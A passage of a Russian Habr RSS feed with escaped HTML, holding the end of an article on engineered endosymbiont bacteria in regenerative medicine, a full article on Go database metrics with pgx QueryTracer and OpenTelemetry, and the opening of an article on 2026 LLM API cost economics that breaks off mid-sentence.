симбионт заносит в клетку-хозяина нужный генетический материал, не затрагивая при этом её геном, благодаря чему коррекция работы клетки протекает плавно и гораздо более безопасно.   &lt;p&gt;В середине 2010-х естественный потенциал для такого перепрограммирования эукариотических клеток был открыт у некоторых патогенов. Так, в 2015 году Хесс и Рамбуккана показали, что Mycobacterium leprae (возбудитель проказы) может in vivo изменять клетки Шванна, после чего они начинают напоминать стволовые, а также способствовать их пролиферации и миграции. Такие изменения также позволили выявить на мышиных моделях биохимические пути, перспективные с точки зрения регенерации тканей. В случае с возбудителем проказы этот процесс приводит к распространению инфекции, но принципиально способствует регенерации ткани и позволяет обойтись без пересадки донорских стволовых клеток. Совершенствуя эти возможности in vivo, Хесс в 2022 году показал, как при помощи генетически изменённых бактерий &lt;a href=&#34;https://pdf.sciencedirectassets.com/776849/1-s2.0-S2666379121X00122/1-s2.0-S2666379122003792/main.pdf?X-Amz-Security-Token=IQoJb3JpZ2luX2VjEAsaCXVzLWVhc3QtMSJHMEUCIHpenRPIUxcqNQNB6CJgK0t8ddekK3f85LELYb%2B3BaJsAiEAjp084WR2HF2zRZ6jfe%2BOFrkb6MV7Yl1GVVysxwlvX&#34; rel=&#34;noopener noreferrer nofollow&#34;&gt;частично перепрограммировать клетки печени&lt;/a&gt;, запустив регенерацию печёночной ткани без фиброза и без возникновения злокачественных опухолей.&lt;p&gt;Подобная стратегия оказалась ещё более действенной при лечении болезни Паркинсона, так как позволяет перепрограммировать астроциты (подробно об этих клетках мозга и об их функции я ранее писал на Хабре в статье «Звёзды у нас в голове») в дофаминергические нейроны. Поскольку астроциты гораздо крупнее нейронов и обладают ветвистой структурой, по ним легко добраться глубоко в поражённые зоны мозга; сами эндосимбионты легко проникают в астроциты путём эндоцитоза и перепрограммируют глию в нервную ткань. Для этого эндосимбионты прицельно доставляют в зону мёртвых и деградирующих нейронов нужные факторы транскрипции, замедляющие этот процесс — например, ASCL1, LMX1A и NURR1, способствующие регенерации дофаминергических нейронов.  Притом, что долгосрочные последствия такого вмешательства пока не изучены, к очевидным достоинствам данного метода можно отнести возможность обходиться без трансплантации и уменьшение иммунного ответа.&lt;p&gt;Генетически изменённые бактерии могут действовать не только в качестве эндосимбионтов (притом, что эта функция у них сохраняется), но и в качестве носителей, доставляющих белки во внеклеточный матрикс. Эти белки используются, например, как катализаторы дифференциации клеток. Бактерии-эндосимбионты могут в течение заданного времени (собственного жизненного цикла) пребывать в цитоплазме эукариотической клетки-хозяина, экспрессируя и выделяя белки, выполняющие сигнальные функции, регулирующие дозировку препаратов в клетках (например, препятствующие дальнейшему поступлению препарата после накопления нужной дозы), а также контролировать биохимические пути, используемые при перепрограммировании клеток. Такие технологии известны под общим названием «индуцированная регуляция работы генов».&lt;p&gt;Важнейшей составляющей описываемых технологий является тот инициирующий фактор, при воздействии которого эндосимбионты переходят к активным действиям, то есть, к усиленной экспрессии нужных генов. В качестве таких факторов первоначально использовались химические сигналы и повышение температуры, но такие факторы действуют только по нарастающей. После того, как нужный процесс или биохимический путь активирован, требуется время либо на понижение температуры тканей, либо на выведение препарата-триггера. Для устранения этих недостатков тестируются также эндосимбионты с вкраплениями магнитных частиц, на экспрессию генов в которых можно влиять простым включением магнитного поля или изменением полярности магнита. Такой метод, опять же, полезен при работе с нервной тканью, которая по природе своей приспособлена для передачи электромагнитных импульсов. Поскольку даже частично деградировавшая нейронная ткань представляет собой клеточную сеть, магнитный метод при работе с ней представляется наименее инвазивным, поддающимся тонкой регуляции, а также наиболее точным и безопасным.         &lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/d53/4ae/5d1/d534ae5d1190bfceaad7b748a2a82ed0.png width=974 height=440 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/d53/4ae/5d1/d534ae5d1190bfceaad7b748a2a82ed0.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/d53/4ae/5d1/d534ae5d1190bfceaad7b748a2a82ed0.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;h2&gt;Примеры синтеза биоматериалов с использованием генетически модифицированных клеток&lt;/h2&gt;&lt;p&gt;Описанные выше методы поспособствовали развитию целой прикладной области, которая называется «инженерия тканей». В качестве инструмента и носителя генов в ней могут использоваться не только прокариоты, но и эукариоты. Эта область смыкается с бионикой, так как ведущиеся в ней исследования призваны расширить генетический материал клеток в целевой ткани, чтобы они не только способствовали регенерации этой ткани, но и могли производить биополимеры с заданными или известными свойствами. Хотя такие технологии и не связаны с использованием стволовых клеток, их также можно отнести к перепрограммированию генома. В среднесрочной перспективе они могут значительно снизить потребность в имплантации костной, хрящевой и даже мышечной ткани, поскольку позволят постепенно регенерировать эти ткани прямо на месте травмы из биоматериалов хозяина. Также такие технологии открывают путь к дешёвому синтезу важных и дорогостоящих биополимеров, в частности, шёлка и коллагена.  &lt;p&gt;Коллаген — это тягучий белок, способствующий поддержанию целостности и структуры тканей. Он применяется как в восстановительной медицине при заживлении ран, так и в косметических процедурах. В настоящее время в этих целях используется коллаген, взятый у млекопитающих, в частности, коров и свиней, и он не исключает таких опасных побочных эффектов, как заражение патогенами от животных или развитие аутоиммунных реакций. Но таких недостатков лишён коллаген типа 0, образующийся в организме медуз; кроме того, он выигрывает у аналогов в биосовместимости с человеческими клетками и быстрее заживляет раны. Генная инженерия позволяет перепрограммировать бактерий на синтез такого коллагена.    &lt;p&gt;Наконец, остановлюсь ещё на одной схожей проблеме, потенциально решаемой путём перепрограммирования человеческих клеток. Это замена синтетических имплантатов, в том числе, настолько важных, как искусственные сердечные клапаны. Исследованиями в этой области занимается компания «Xeltis», которая базируется в Эйндховене и образовалась в 2006 году в результате слияния двух стартапов — голландского и швейцарского. Компания изготавливает биосовместимый полимер, вырабатываемый генетически изменёнными клетками и функционально аналогичный веществу, используемому при протезировании сердечных клапанов и участков кровеносных сосудов. Оказавшись в организме пациента, клетки с кровотоком достигают имплантата, обволакивают его и начинают постепенно заполнять поры, образующиеся при его износе. Процесс протекает плавно и с тем же успехом применим для восстановления аналогичных тканей у пациентов, которым вообще не делали имплантацию — например, при укреплении сердечных клапанов у детей с пороками сердца. На момент подготовки этой статьи метод проходит стадию клинических испытаний.&lt;h2&gt;Заключение&lt;/h2&gt;&lt;p&gt;Даже этот краткий экскурс в инженерию тканей и раннюю историю регенеративной медицины с использованием эндосимбионтов открывает фантастические перспективы, которые и побудили меня вам о нём рассказать. Потенциально такие разработки могут привести к отказу от механического протезирования, так как позволят выращивать мышцы и кости с заданными свойствами, в том числе, рассчитанные на низкую марсианскую гравитацию, а также восстанавливать ткани без пересадки. Эти наработки представляются наиболее действенным методом борьбы с нейродегенеративными заболеваниями, в том числе, с боковым амиотрофическим склерозом, и даже могут обогатить наш организм новыми (полу)синтетическими тканями, которые позволят человеческому организму извлекать энергию из различных участков электромагнитного спектра по принципу, напоминающему фотосинтез. Приглашаю вас поговорить об этом в комментариях.  &lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <author>OlegSivchenko</author>
      <guid>https://habr.com/ru/articles/1024856/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024856</guid>
      <pubDate>Fri, 17 Apr 2026 19:01:17 +0000</pubDate>
    </item>
    <item>
      <title>Модно не значит правильно — про pgx, метрики и OpenTelemetry</title>
      <link>https://habr.com/ru/articles/1024854/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024854</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;p&gt;Всё началось с одного вопроса от старшего коллеги — что pgx предоставляет для сбора метрик. Казалось простым: открыл документацию, увидел QueryTracer, решил что вот оно — замена декоратору. Проверил руками и сразу споткнулся: транзакция дала три значения вместо одного. Начал копать глубже — и нашлось три разных инструмента, QueryTracer, метрики и OpenTelemetry, которые легко перепутать если не разбираться. Эта статья о разнице между драйверами, обёртками и инструментами замера производительности — и о том когда каждый из них нужен.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/9b1/c6b/388/9b1c6b388b7ee36ded155062f18b0303.jpg width=1168 height=784 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/9b1/c6b/388/9b1c6b388b7ee36ded155062f18b0303.jpg 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/9b1/c6b/388/9b1c6b388b7ee36ded155062f18b0303.jpg 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;h2&gt;От одного вопроса к часам изучения вопроса&lt;/h2&gt;&lt;p&gt;Мы пишем сервис на Go, PostgreSQL, sqlx. Observability реализовано просто — декоратор над репозиторием, Prometheus, time.Now(). Задачи делать трассировку не было — проект это MVP телеграмм бота и слабо нагруженного API, CRUDL операции не смогут нагрузить Postgres. И когда задали вопрос о pgx — стало интересно разобраться как устроена observability на уровне драйвера. Не для текущего проекта, а чтобы понимать инструменты для следующих.&lt;h2&gt;Три инструмента: метрики, QueryTracer, OTel&lt;/h2&gt;&lt;p&gt;Метрики нужны для общей статистики. Видеть как приложение работает — необходимость, а не прихоть. Будь то рост ошибок после деплоя или p99 на одном из эндпоинтов вырос с 50ms до 800ms — нужно заметить быстро. Но у метрик нет контекста — видим что p99 вырос, а почему непонятно. В этом и есть их смысл — дешёвый анализ. Одно число, один график, один алерт. Метрика говорит что и когда.&lt;p&gt;&lt;strong&gt;QueryTracer&lt;/strong&gt; — интерфейс pgx через который можно перехватывать запросы на уровне драйвера. Можно замерять длительность, логировать SQL, создавать spans. Но важно понимать: при транзакции он даёт три отдельных замера — BEGIN, сам запрос, COMMIT. Это не одна метрика на метод репозитория, а три отдельных события. Что для метрик лишнее, то для трейсинга - необходимость. Поэтому QueryTracer это инструмент трейсинга, а не метрик.&lt;p&gt;&lt;strong&gt;OpenTelemetry&lt;/strong&gt; — здесь ищем источник проблем. Span создаётся в хендлере и передаётся через контекст вглубь — через сервис, репозиторий, до самого запроса в БД. Каждый слой добавляет свой дочерний span. В итоге в Jaeger видите полное дерево: какой конкретно запрос тормозил и в каком контексте.&lt;br&gt;Трейсинг работает постоянно — это не инструмент который включают когда что-то сломалось. Но не каждый запрос трейсится: настраивается sampling, например 10% запросов. Если запрос попал в выборку — записывается весь трейс целиком, все дочерние spans. Это баланс между полнотой данных и стоимостью хранения.&lt;br&gt;OTel отвечает на вопрос где именно и почему.&lt;h2&gt;Наш декоратор&lt;/h2&gt;&lt;p&gt;В нашем проекте используется обычный декоратор с дженериком. Главной причиной появления декоратора были простые метрики и централизованная обработка ошибок — чтобы не повторять один и тот же код в каждом методе репозитория и следовать DRY.&lt;pre&gt;&lt;code class=go&gt;func WithDBMetricsValue[T any](operation string, fn func() (T, error)) (T, error) {&#xA;  start := time.Now()&#xA;  result, err := fn()&#xA;  seconds := time.Since(start).Seconds()&#xA;&#xA;  metrics.ObserveDatabaseQueryDuration(operation, seconds)&#xA;  if err != nil {&#xA;    metrics.IncDatabaseErrors(operation)&#xA;    return result, CheckDBError(operation, err)&#xA;  }&#xA;&#xA;  return result, err&#xA;}&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:87px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;При подготовке статьи нашел ошибку. Длительность конвертировали в минуты, что неверно для таких метрик. Наглядная польза от написания статей.&lt;pre&gt;&lt;code class=go&gt;// было&#xA;minutes := time.Since(start).Minutes()&#xA;// стало&#xA;seconds := time.Since(start).Seconds()&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Для простого случая — один запрос на метод — декоратор точен:&lt;pre&gt;&lt;code class=go&gt;func (r *BookingRepo) GetAvailableSlots(ctx context.Context, serviceID int, date time.Time) ([]time.Time, error) {&#xA;    const operation = &amp;#34;get_available_slots&amp;#34;&#xA;    var slots []time.Time&#xA;&#xA;    return WithDBMetricsValue(operation, func() ([]time.Time, error) {&#xA;        err := r.db.SelectContext(ctx, &amp;amp;slots, getAvailableSlotsQuery, serviceID, date)&#xA;        if err != nil {&#xA;            return nil, err&#xA;        }&#xA;        return slots, nil&#xA;    })&#xA;}&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Декоратор меряет ровно время запроса. Метрика точная. Когда внутри метода транзакция и бизнес логика — картина меняется:&lt;pre&gt;&lt;code class=go&gt;func (r *BookingRepo) CreateBooking(ctx context.Context, b *models.Booking) (int64, error) {&#xA;    const operation = &amp;#34;create_booking&amp;#34;&#xA;&#xA;    return WithDBMetricsValue(operation, func() (int64, error) {&#xA;        if err := r.validateBooking(b); err != nil { // ← входит в метрику&#xA;            return 0, err&#xA;        }&#xA;&#xA;        tx, err := r.db.BeginTxx(ctx, nil) // ← и это&#xA;        if err != nil {&#xA;            return 0, err&#xA;        }&#xA;        defer func() { _ = tx.Rollback() }()&#xA;&#xA;        var id int64&#xA;        err = tx.QueryRowContext(ctx, createBookingAtomicQuery,...).Scan(&amp;amp;id) // ← и это&#xA;&#xA;        if err != nil {&#xA;            if errors.Is(err, sql.ErrNoRows) {&#xA;                return 0, models.ErrSlotOccupied&#xA;            }&#xA;            return 0, err&#xA;        }&#xA;&#xA;        if err = tx.Commit(); err != nil { // ← и это&#xA;            return 0, err&#xA;        }&#xA;&#xA;        return id, nil&#xA;    })&#xA;}&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Метрика говорит create_booking = 45ms. Но внутри — валидация, открытие транзакции, SQL запрос, коммит. Сколько из них реальный запрос к БД — декоратор не знает.&lt;pre&gt;&lt;code&gt;Декоратор видит:      create_booking = 45ms&#xA;QueryTracer видел бы: BEGIN  = 0.1ms&#xA;                      INSERT = 40ms&#xA;                      COMMIT = 2ms&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;h2&gt;QueryTracer&lt;/h2&gt;&lt;p&gt;QueryTracer — это интерфейс из pgx. Ответственность за реализацию методов на разработчике — вы сами решаете что отслеживать, что логировать, какие метрики собирать. Работает через type assertion: pgx в рантайме проверяет какие интерфейсы реализует ваша структура. Забыли реализовать BatchTracer — ошибки не будет, но Batch молча в слепой зоне.&lt;p&gt;Для каждого типа операции pgx — свой интерфейс с методами Start и End. Batch добавляет третий метод TraceBatchQuery — потому что Batch это контейнер с несколькими запросами внутри. Это пример интерфейса из официального репозитория pgx.&lt;pre&gt;&lt;code class=go&gt;// BatchTracer traces SendBatch.&#xA;type BatchTracer interface {&#xA;&#x9;// TraceBatchStart is called at the beginning of SendBatch calls. The returned context is used for the&#xA;&#x9;// rest of the call and will be passed to TraceBatchQuery and TraceBatchEnd.&#xA;&#x9;TraceBatchStart(ctx context.Context, conn *Conn, data TraceBatchStartData) context.Context&#xA;&#xA;&#x9;TraceBatchQuery(ctx context.Context, conn *Conn, data TraceBatchQueryData)&#xA;&#x9;TraceBatchEnd(ctx context.Context, conn *Conn, data TraceBatchEndData)&#xA;}&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Пример реализации объявления кастомных методов:&lt;pre&gt;&lt;code class=go&gt;type MyTracer struct{}&#xA;&#xA;// QueryTracer&#xA;func (t *MyTracer) TraceQueryStart(...) context.Context {}&#xA;func (t *MyTracer) TraceQueryEnd(...) {}&#xA;&#xA;// BatchTracer — та же структура&#xA;func (t *MyTracer) TraceBatchStart(...) context.Context {}&#xA;func (t *MyTracer) TraceBatchQuery(...) {}&#xA;func (t *MyTracer) TraceBatchEnd(...) {}&#xA;&#xA;// Подключение&#xA;config.ConnConfig.Tracer = &amp;amp;MyTracer{}&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Важно понимать: QueryTracer сам по себе не является трейсингом. Это точка перехвата — хук. Что вы в него вложите — метрику, span или лог — ваш выбор. Трейсинг появляется только когда внутри этих методов создаёте OTel spans и правильно передаёте ctx через все слои.&lt;blockquote&gt;&lt;p&gt;OTel требует настройки экспортера — без него spans создаются но никуда не отправляются. В проде это Jaeger или Tempo. В разработке можно использовать stdout или написать свой — как в &lt;a href=https://github.com/SergeyKo17/go-tracing-demo rel=&#34;noopener noreferrer nofollow&#34;&gt;примере кода&lt;/a&gt; к статье.&lt;/blockquote&gt;&lt;h2&gt;Выбираем стек&lt;/h2&gt;&lt;p&gt;Выбор инструмента для трейсинга зависит от двух вещей — стека и того что хотите видеть. Если остаётесь на sqlx и не используете Batch — otelsql закроет потребности без смены стека. Если переходите на pgx и хотите полную картину — otelpgx подключается так же просто. MyTracer имеет смысл только когда нужна кастомная логика внутри трейсера — специфичные метрики или особое логирование.&lt;div&gt;&lt;div class=table&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th&gt;&lt;p align=left&gt;&lt;th&gt;&lt;p align=left&gt;sqlx + otelsql&lt;th&gt;&lt;p align=left&gt;pgx + otelpgx&lt;th&gt;&lt;p align=left&gt;pgx + MyTracer&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;Подключение&lt;/strong&gt;&lt;td&gt;&lt;p align=left&gt;одна строка&lt;td&gt;&lt;p align=left&gt;одна строка&lt;td&gt;&lt;p align=left&gt;пишете сами&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;Spans автоматически&lt;/strong&gt;&lt;td&gt;&lt;p align=left&gt;✓&lt;td&gt;&lt;p align=left&gt;✓&lt;td&gt;&lt;p align=left&gt;✓ если реализовали&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;Верхние слои&lt;/strong&gt;&lt;td&gt;&lt;p align=left&gt;вручную&lt;td&gt;&lt;p align=left&gt;вручную&lt;td&gt;&lt;p align=left&gt;вручную&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;Query&lt;/strong&gt;&lt;td&gt;&lt;p align=left&gt;✓&lt;td&gt;&lt;p align=left&gt;✓&lt;td&gt;&lt;p align=left&gt;✓&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;Batch&lt;/strong&gt;&lt;td&gt;&lt;p align=left&gt;✗&lt;td&gt;&lt;p align=left&gt;✓&lt;td&gt;&lt;p align=left&gt;✓&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;CopyFrom&lt;/strong&gt;&lt;td&gt;&lt;p align=left&gt;✗&lt;td&gt;&lt;p align=left&gt;✓&lt;td&gt;&lt;p align=left&gt;✓&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;Кастомная логика&lt;/strong&gt;&lt;td&gt;&lt;p align=left&gt;✗&lt;td&gt;&lt;p align=left&gt;✗&lt;td&gt;&lt;p align=left&gt;✓&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;Смена стека&lt;/strong&gt;&lt;td&gt;&lt;p align=left&gt;не нужна&lt;td&gt;&lt;p align=left&gt;sqlx → pgx&lt;td&gt;&lt;p align=left&gt;sqlx → pgx&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Во всех трёх случаях верхние слои — handler, service, repo — ваша ответственность. Библиотека закрывает только SQL уровень. Контекст нужно передавать через все слои — без этого spans будут корневыми и потеряют связь с запросом пользователя.&lt;blockquote&gt;&lt;p&gt;Искал замену декоратору — нашёл подтверждение что он и есть правильный выбор. Но именно такие вопросы заставляют копать глубже чем требует задача — и в итоге понимаешь не только что использовать, но и почему всё остальное работает именно так.&lt;/blockquote&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <author>Taws</author>
      <guid>https://habr.com/ru/articles/1024854/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024854</guid>
      <pubDate>Fri, 17 Apr 2026 18:54:17 +0000</pubDate>
    </item>
    <item>
      <title>Compute crunch пришёл: как считать экономику LLM в 2026</title>
      <link>https://habr.com/ru/articles/1024850/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024850</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;blockquote&gt;&lt;p&gt;&lt;em&gt;Build, Buy или Hybrid - рассуждаем о подходах к TCO. Статья - приглашение к диалогу и обсуждению, не экспертный нарратив.&lt;/em&gt;&lt;/blockquote&gt;&lt;h3&gt;&amp;#34;Я говорил&amp;#34; или что случилось с тарифами на LLM API&lt;/h3&gt;&lt;p&gt;Два крупнейших API-провайдера одновременно сменили риторику. Anthropic &lt;a href=https://habr.com/ru/companies/bothub/news/1019222/ rel=&#34;noopener noreferrer nofollow&#34;&gt;ввёл usage-based billing для агентных фреймворков&lt;/a&gt; — плата за токены вместо фиксированных подписок. Часть сторонних обёрток потеряла возможность работать через flat-rate тарифы. OpenAI параллельно ввёл &lt;a href=https://help.openai.com/ru-ru/articles/11487671-flexible-pricing-for-the-enterprise-edu-and-business-plans rel=&#34;noopener noreferrer nofollow&#34;&gt;гибкое корпоративное ценообразование для Enterprise, Business и EDU-планов&lt;/a&gt; — стоимость подписки теперь масштабируется с объёмом потребления, а не фиксируется на уровне seat.&lt;p&gt;Тренд последних двух лет («API дешевеет каждый квартал») не отменился, но получил важную оговорку. &lt;strong&gt;Цена за токен&lt;/strong&gt; в прайсах действительно падала: за 2023–2025 годы стоимость миллиона токенов GPT-4-класса снижалась, но в 2026 году ключевой метрикой для бюджета становится не цена за токен, а &lt;strong&gt;стоимость решения задачи&lt;/strong&gt;.&lt;p&gt;Несколько причин:&lt;ol&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Reasoning-режимы съедают output.&lt;/strong&gt; Opus 4.7, GPT-5.4 Thinking и аналоги на сложных задачах генерируют скрытую цепочку рассуждений — вы её не видите в ответе, но платите как за output-токены. Точных публичных данных о коэффициенте роста output-токенов в документации провайдеров нет — ни Anthropic, ни OpenAI не публикуют таблицу «effort level → overhead токенов». &lt;a href=https://www.nxcode.io/resources/news/gpt-5-4-api-developer-guide-reasoning-computer-use-2026 rel=&#34;noopener noreferrer nofollow&#34;&gt;По наблюдениям разработчиков, работающих с GPT-5.4&lt;/a&gt;, reasoning effort поддерживает пять уровней (none, low, medium, high, xhigh), каждый следующий уровень увеличивает output. Типичная оценка индустрии от 1.5-2x на medium до 3-4x на xhigh, но это эмпирика, а не спецификация. Лучше всего измерять на своих логах.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Новые токенизаторы более прожорливые.&lt;/strong&gt; Opus 4.7 вышел с &lt;a href=https://www.finout.io/blog/claude-opus-4.7-pricing-the-real-cost-story-behind-the-unchanged-price-tag rel=&#34;noopener noreferrer nofollow&#34;&gt;обновлённым токенизатором, который может давать до 35% больше токенов на том же тексте&lt;/a&gt;. По данным официального release notes Anthropic — 1.0–1.35× в зависимости от типа контента; верхний конец диапазона чаще всего на коде, структурированных данных и не-английском тексте. При неизменном прайсе это означает рост счёта: одинаковый текст стал стоить дороже не потому что поднялась цена токена, а потому что токенов стало больше.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Более сложные задачи и более широкое применение в организациях. &lt;/strong&gt;C ростом качества и автономности агентов моделям поручают больше задач большей сложности, что косвенно также также ведет в увеличению объемов потребления в рамках тех же подразделений и процессов.&lt;/ol&gt;&lt;p&gt;При неизменной цене за токен эти эффекты вместе дают рост итоговой затрат, значительно превышая запланированные бюджеты. Параллельно compute crunch: спрос на GPU растёт быстрее поставок, H100 и B200 для РФ и ЦА доступны с лагом по времени поставок и существенной наценкой. Self-host начинает появляться в бюджетах средних компаний не как «оптимизация», а как hedge против ценовых шоков и supply-рисков.&lt;p&gt;Возникают вопросы как строить фреймворк принятия решений.&lt;h3&gt;Три режима нагрузки&lt;/h3&gt;&lt;p&gt;Для себя я выделил три режима(или подхода), влияющих на расчеты и планы.&lt;p&gt;&lt;strong&gt;Эксперименты.&lt;/strong&gt; PoC, гипотезы, prompt engineering, A/B на качество. Здесь нужен максимум качества для поиска работающего решения. Почти всегда API (даже дорогой frontier), минимум инвестиций в инфру. Исключение — когда эксперимент изначально направлен на оценку конкретной локальной модели: например, нужно понять, справляется ли Llama 3.3 70B с вашей доменной задачей. Тогда вам действительно нужна локальная инфра — но именно для эксперимента, а не для production. Лид ML-команды, который просит GPU-кластер «попробовать идею» без внятного обоснования, что эта идея требует именно локальной модели — сомнительно.&lt;p&gt;&lt;strong&gt;Production workload.&lt;/strong&gt; Предсказуемый трафик, жёсткий SLA, чувствительные данные, стабильное качество. Вот здесь имеет смысл считать: при каком объёме API перестаёт быть оптимальным. Тут open-source конкурирует с API не по потолку качества, а по полу стоимости на «достаточно хорошем» уровне.&lt;p&gt;&lt;strong&gt;Устойчивость.&lt;/strong&gt; Защита от ценовых шоков (Anthropic только что показал, как быстро это случается), supply-риска (rate limits, очереди, изменения ToS), regulatory shock (регулятор требует локализации). В 2024 году это было на последнем слайде &amp;#34;возможные риски&amp;#34; в презентации, сейчас в 2026 уже часто отдельная строка в бюджете.&lt;h3&gt;Пример сценарного расчета TCO (как подход)&lt;/h3&gt;&lt;p&gt;Цель — реализовать логику расчёта и границы применимости, а не дать инженерную спецификацию под ваш случай. Реальная стоимость всегда зависит от ваших логов и микса задач с регуляторной рамкой.&lt;h4&gt;Базовые допущения для кейса «100 млн токенов/мес»&lt;/h4&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Token mix:&lt;/strong&gt; 70M input + 30M output. Скорее подойдет для RAG и аналитических задач. Для генеративных задач (маркетинг, синтез контента) сдвигайте в сторону output.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Task mix:&lt;/strong&gt; 80% простых задач (классификация, extraction, summarization), 20% reasoning-heavy (анализ, агенты, сложная генерация с контекстом).&lt;li&gt;&lt;p&gt;&lt;strong&gt;Эффект reasoning-режимов:&lt;/strong&gt; на high/xhigh effort модель генерирует в существенно больше output-токенов. Точная цифра зависит от вашего промпта и типа задачи. Провайдеры не публикуют официальных таблиц. Лучше всего измерить на своих логах перед тем как закладывать в бюджет.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Инфляция токенизатора:&lt;/strong&gt; 1.15× как усреднение для смешанного русско-английского контента, например при использовании Opus 4.7.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Накладные расходы (overhead):&lt;/strong&gt; +15–30% на retry при 5xx, fallback на более дорогую модель, cache miss.&lt;li&gt;&lt;p&gt;&lt;strong&gt;GPU utilization для self-host:&lt;/strong&gt; 60% как baseline production. Ниже 40% — экономика ломается.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Амортизация железа:&lt;/strong&gt; 36 месяцев.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Ставки команды:&lt;/strong&gt; fully loaded, $100K/год для глобальной команды, $60K для РФ, $40K для ЦА.&lt;/ul&gt;&lt;h4&gt;Формула для API&lt;/h4&gt;&lt;pre&gt;&lt;code&gt;TCO_tokens = (input × price_in + output × price_out × effective_mult)&#xA;             × 12 × tok_inflation × (1 + overhead)&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:87px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;где:&lt;pre&gt;&lt;code&gt;effective_mult = simple_share + reasoning_share × reasoning_multiplier&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;effective_mult&lt;/code&gt; — это средневзвешенный множитель output&amp;#39;а 